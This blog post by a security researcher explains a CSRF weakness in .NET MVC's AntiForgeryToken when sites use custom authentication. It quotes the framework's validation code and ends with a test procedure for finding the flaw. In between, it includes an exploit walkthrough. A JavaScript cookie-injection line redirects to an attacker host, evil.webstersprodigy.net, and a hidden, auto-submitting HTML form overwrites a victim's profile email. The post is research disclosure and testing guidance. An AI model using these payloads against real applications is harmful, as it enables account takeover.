.NET MVC AntiforgeryToken CSRF Testing
February 14, 2013 4 Comments
Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.
A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:
public void Validate(HttpContextBase httpContext, string cookieToken, string formToken) { this.CheckSSLConfig(httpContext); AntiForgeryToken token = this.DeserializeToken(cookieToken); AntiForgeryToken token2 = this.DeserializeToken(formToken); this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2); }
Then ValidateTokens contains the logic that prevents CSRF attacks
public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken) { if (sessionToken == null) { throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName); } if (fieldToken == null) { throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName); } if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken) { throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName); } if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken)) { throw HttpAntiForgeryException.CreateSecurityTokenMismatchException(); } string b = string.Empty; BinaryBlob objB = null; if ((identity != null) && identity.IsAuthenticated) { objB = this._claimUidExtractor.ExtractClaimUid(identity); if (objB == null) { b = identity.Name ?? string.Empty; } } bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase); if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase)) { throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b); } if (!object.Equals(fieldToken.ClaimUid, objB)) { throw HttpAntiForgeryException.CreateClaimUidMismatchException(); } if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData)) { throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException(); } }
To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.
Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.
One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.
Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.
- Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
- Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
- Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
- Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
document.cookie = "__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;"; window.location="http://evil.webstersprodigy.net/cookies/cookie.html";
<html> <body> <form id="dynForm" action="https://mvcapp.mydomain.com/csrfpath/Edit" method="POST"> <input type="hidden" name="__RequestVerificationToken" value="/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy..." /> <input type="hidden" name="Profile.FirstName" value="Bad" /> <input type="hidden" name="Profile.LastName" value="Guy" /> <input type="hidden" name="Profile.Email" value="evil1337@live-int.com" /> <input type="hidden" name="saveAndContinueButton" value="NEXT" /> </form> <script type="text/javascript"> alert("cookies are tossed"); document.getElementById("dynForm").submit(); </script> </body> </html>
Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.
- Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
- Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
- Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.
There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.